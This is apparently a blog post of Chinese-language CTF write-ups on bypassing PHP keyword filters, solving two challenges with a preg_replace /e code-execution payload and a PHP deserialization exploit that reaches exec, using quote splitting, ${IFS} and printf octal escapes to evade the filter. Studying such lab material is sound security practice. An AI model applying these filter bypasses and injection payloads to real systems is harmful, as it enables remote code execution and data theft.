CTF web php waf绕过合集

[H&NCTF 2024]Please_RCE_Me

打开靶机,发现要求get请求传参?moran=flag

get请求访问ip:端口?moran=flag,得到页面源码

发现system、eval、assert、call、create、preg、sort、{|}、filter、exec、passthru、proc、open、echo、`、 、.、include、require、flag都被过滤掉了,大部分执行外部命令的函数全都无法使用。

对于flag参数:

preg_match('/system|eval|...|flag/i',$str1),preg_match函数用来匹配字符串,如果str1包含'/某些用竖线分割的字符/'中的内容,则返回true。参数i表示大小写不敏感。

preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']),对于这个函数,可以简要看成preg_replace($a,$b,$c),用来将变量a字符串中的c替换成b,参数i表示大小写不敏感,参数e表示作为代码执行。

根据strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)的逻辑,str2一定是19个字符,其中的preg_match函数大小写敏感,最后else分支中的preg_match函数大小写不敏感并且需要将please_give_me_flag全部替换成需要执行的代码,设置post参数flag=Please_give_me_flag进行绕过。

对于task参数,内容被作为代码执行:

可用函数如下

直接显示文件内容函数:show_source()、highlight_file()

读取文件内容函数:file_get_contents()、file()、readfile()、fopen()、php_strip_whitespace()

无法直接读取文件函数:fpassthru()、fread()

打印输出函数:echo()、print()、print_r()、printf()、sprint()、var_dump()、var_export()

执行外部命令函数:system()、passthru()、popen()、proc_open()、exec()、shell_exec()、内敛执行(反引号``、${})

参考自ctfshow web入门 命令执行 特征及绕过技巧(部分)

还剩下var_dump、print_r、var_export函数可以尝试(print等其他打印输出函数在这里不能达到效果,这部分涉及到print、print_r、echo等的区别)
列出当前目录var_dump(scandir('./'));或者print_r(scandir('./'));或者var_export(scandir('./'));
列出根目录var_dump(scandir('/'));或者print_r(scandir('/'));或者var_export(scandir('/'));
因为过滤掉了.,直接尝试列出根目录

发现flag文件,但是字符串flag被直接过滤掉了,不知道为什么无法使用/f*或者/fl?g直接访问该文件。

想到另一个办法,用匹配到的路径作为输入来访问flag文件。

首先glob函数搜索以/fla开头的文件,因为根目录下只有flag这一个,所以返回结果第一个就是flag文件的目录,用current函数获取数组的第一个元素作为字符串,使用highlight_file函数打开。

glob函数返回符合匹配条件的所有文件的路径。

设置post参数task=var_dump(highlight_file(current(glob('/fla*')))),发送http请求,得到flag


[攻防世界]unseping

打开靶机发现源码如下:

<?php
highlight_file(__FILE__);

class ease{
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

可以POST传参ctf,该参数中的数据base64解码后反序列化。

在PHP中,类的方法在不同的情况下被调用,具体取决于它们的类型和PHP的运行时行为。以下是代码中一些函数会被调用的情况:

  1. 构造函数__construct:
    当一个类的实例被创建时被自动调用。在这个例子中,当使用new ease($method, $args)创建ease类的新对象时,方法将被调用,并将$method$args赋值给对象的私有属性。

  2. 析构函数__destruct:
    当对象生命周期结束,或者使用unset()显式销毁对象时被调用。PHP会在脚本结束前,或者对象被明确销毁时清理对象资源,并调用析构函数。

  3. 唤醒函数__wakeup:
    对象被反序列化时自动调用。反序列化是将对象的状态从字符串表示恢复到对象的过程,通常发生在对象从会话存储或数据库中恢复时。

对象被反序列化,__wakeup方法将被调用,它将用waf过滤$args数组中的每个元素。如果$method被设置为'ping',那么当对象生命周期结束时,析构函数__destruct会检查$method,如果是'ping',它将调用ping方法,执行exec函数和var_dump函数,其参数为$args。同时,如果

过滤了"/(\||&|;| |\/|cat|flag|tac|php|ls)/"

因为__wakeup函数中对args参数的处理,该参数必须是数组,写出生成测试用的payload的代码,使用在线网站对代码进行反序列化和base64编码 https://www.jyshare.com/compile/1/

使用hackbar传参得到返回的消息,确定参数可以被正确传递并解析。

现在需要绕过waf,使用双引号绕过字符串的检测$resume->args = array('l""s');,得到返回结果array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" } ,发现flag在flag_1s_here文件中。

%20可以替换空格,设置$resume->args = array('ca""t%20fla""g_1s_here');传参发现里面是空的array(0) { } ,猜测是文件夹,ls命令列出文件夹内容。

这里使用%20替换空格不知道为什么失效了,使用${IFS}替换空格可以正常执行命令,设置 $resume->args = array('l""s${IFS}f""lag_1s_here');,传参得到array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }

查看该php文件,过滤了\,可以用cd ..;cd ..;cd enc;cat flag绕过,传参后才发现;也被过滤了,还可以oct编码绕过,使用$(printf${IFS}"\57")替换反斜杠,设置$resume->args = array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp');

传参得到flag。

exp如下,将php代码运行得到的数据作为ctf参数的数据传入:

<?php
class ease{
    var $method;
    var $args;
}

$resume = new ease();
$resume->method = 'ping';
$resume->args = array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp');

$result = serialize($resume);
echo $result;
echo base64_encode($result);
?>

posted @ 2024-05-13 23:45  skdtxdy  阅读(279)  评论(0编辑  收藏  举报